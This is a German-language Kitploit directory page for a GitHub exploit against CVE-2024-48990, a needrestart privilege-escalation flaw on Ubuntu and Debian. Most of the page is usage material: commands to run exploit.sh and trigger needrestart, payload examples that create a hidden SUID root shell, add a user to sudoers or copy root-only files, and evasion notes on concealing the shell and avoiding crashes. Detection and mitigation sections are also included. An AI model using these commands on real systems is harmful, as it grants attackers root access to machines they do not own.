Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-48990 — needrestart < 3.8 Lokale Privilegieneskalation via PYTHONPATH injection | Kitploit
Tools/GitHubGitHub/blueberryp1ll/cve-2024-48990
Privilege EscalationSchwachstellenanalyseExploitationPenetrationstestsRed Teaming
GitHubblueberryp1ll/cve-2024-48990

CVE-2024-48990

needrestart < 3.8 Lokale Privilegieneskalation via PYTHONPATH injection

Repository anzeigen
11vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-48990 — needrestart Lokale Privilegienausweitung

Lokaler Privilegienausweitungs-Exploit, der needrestart < 3.8 auf Ubuntu/Debian-Systemen über PYTHONPATH-Injektion angreift.

Übersicht

needrestart ist ein Dienstprogramm, das häufig auf Ubuntu/Debian-Servern installiert ist und prüft, welche Dienste nach Bibliotheksaktualisierungen neu gestartet werden müssen. Es wird als root ausgeführt und typischerweise automatisch nach apt-Operationen ausgelöst oder direkt über sudo aufgerufen.

Bei der Überprüfung von Python-Prozessen ruft needrestart den Python-Interpreter erneut auf, während es die gesamte Umgebung des Prozesses von /proc/<pid>/environ erbt — einschließlich PYTHONPATH. Ein unprivilegierter lokaler Benutzer kann dies ausnutzen, indem er:

  1. Setzen von PYTHONPATH auf ein Verzeichnis, das ein schädliches importlib-Paket enthält
  2. Aufrechterhalten eines laufenden Python-Prozesses, damit needrestart ihn während des Scans erfasst
  3. Warten, bis needrestart ausgeführt wird — es lädt das importlib/__init__.py des Angreifers als root

Betroffene Versionen

PaketVerwundbarBehoben
needrestart< 3.8>= 3.8

Bestätigt auf:

  • Ubuntu 22.04 LTS (Jammy) — needrestart 3.5-5ubuntu2.4
  • Ubuntu 24.04 LTS (Noble) — needrestart 3.6-7ubuntu4

Verwendung

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

Dann lösen Sie needrestart von einem anderen Terminal aus:

root@kitploit:~
# If you have direct sudo access to needrestart:
sudo /usr/sbin/needrestart

# Or trigger it via apt (needrestart runs as a post-apt hook):
sudo apt update && sudo apt install --reinstall coreutils

Sobald needrestart ausgelöst wird, erstellt der Exploit eine SUID-Shell unter /var/tmp/.rootshell und bringt Sie automatisch in eine Root-Shell.

Falls die automatische Ausführung nicht funktioniert, holen Sie die Shell manuell:

root@kitploit:~
/var/tmp/.rootshell -p

Optionen

root@kitploit:~
Usage: ./exploit.sh [OPTIONEN]

Options:
  -c <Befehl>     Benutzerdefinierter Shell-Befehl, der als root ausgeführt wird (Standard: suid-Shell kopieren)
  -w <Sekunden>   Maximale Wartezeit in Sekunden (Standard: 300)
  -t              Trigger-Modus: Versucht, needrestart über apt auszulösen
  -n              Keine Bereinigung: Payload-Verzeichnis nach Ausnutzung behalten
  -h              Diese Hilfe anzeigen

Beispiele

root@kitploit:~
# Default — creates a SUID /bin/bash copy at /var/tmp/.rootshell
./exploit.sh

# Auto-trigger needrestart via apt (requires sudo apt access)
./exploit.sh -t

# Custom payload: add current user to sudoers
./exploit.sh -c 'usermod -aG sudo targetuser'

# Custom payload: read a restricted file
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'

# Extended wait (10 minutes)
./exploit.sh -w 600

Funktionsweise

root@kitploit:~
┌───────────────────────────────────────────────────────────────┐
│  1. Creates /tmp/.nr_XXXX/importlib/__init__.py with payload  │
│     that runs os.system() to copy /bin/bash as SUID binary    │
├───────────────────────────────────────────────────────────────┤
│  2. Spawns a long-running Python process with                 │
│     PYTHONPATH=/tmp/.nr_XXXX exported in its environment      │
├───────────────────────────────────────────────────────────────┤
│  3. needrestart runs (via sudo or apt hook), scans            │
│     /proc/*/environ, finds the Python process                 │
├───────────────────────────────────────────────────────────────┤
│  4. needrestart re-invokes python3 AS ROOT inheriting the     │
│     attacker's PYTHONPATH → loads malicious importlib          │
├───────────────────────────────────────────────────────────────┤
│  5. Payload executes as root: cp /bin/bash + chmod 4755       │
│     → attacker runs /var/tmp/.rootshell -p → root shell       │
└───────────────────────────────────────────────────────────────┘

Hinweise

  • Die SUID-Shell wird in /var/tmp/ statt /tmp/ platziert, da /tmp häufig mit nosuid eingehängt ist, was das SUID-Bit stillschweigend entfernt.
  • Das schädliche importlib/__init__.py stellt das echte importlib nach der Payload-Ausführung wieder her, indem es sys.path und sys.modules bereinigt, sodass needrestart nicht sichtbar abstürzt.
  • Der Tarn-Python-Prozess führt eine echte .py-Datei aus (kein -c-Einzeiler) für eine bessere Kompatibilität mit dem Interpreter-Scan von needrestart.

Erkennung

Anzeichen, dass dieser Exploit verwendet wurde:

  • Unerwartete SUID-Binärdateien in /var/tmp/ oder /tmp/
  • Python-Prozesse, die mit ungewöhnlichen PYTHONPATH-Werten ausgeführt werden, die auf temporäre Verzeichnisse verweisen
  • Verzeichnisse, die auf /tmp/.nr_* passen und ein importlib/-Unterverzeichnis enthalten

Abhilfe

root@kitploit:~
# Update needrestart to the patched version
sudo apt update && sudo apt install needrestart

# Or disable interpreter scanning entirely
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf

Referenzen

  • CVE-2024-48990
  • Qualys Advisory — needrestart LPE
  • Ubuntu Security Notice USN-7117-1

Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bereitgestellt. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Unautorisierter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.

Lizenz

MIT

Tool herunterladen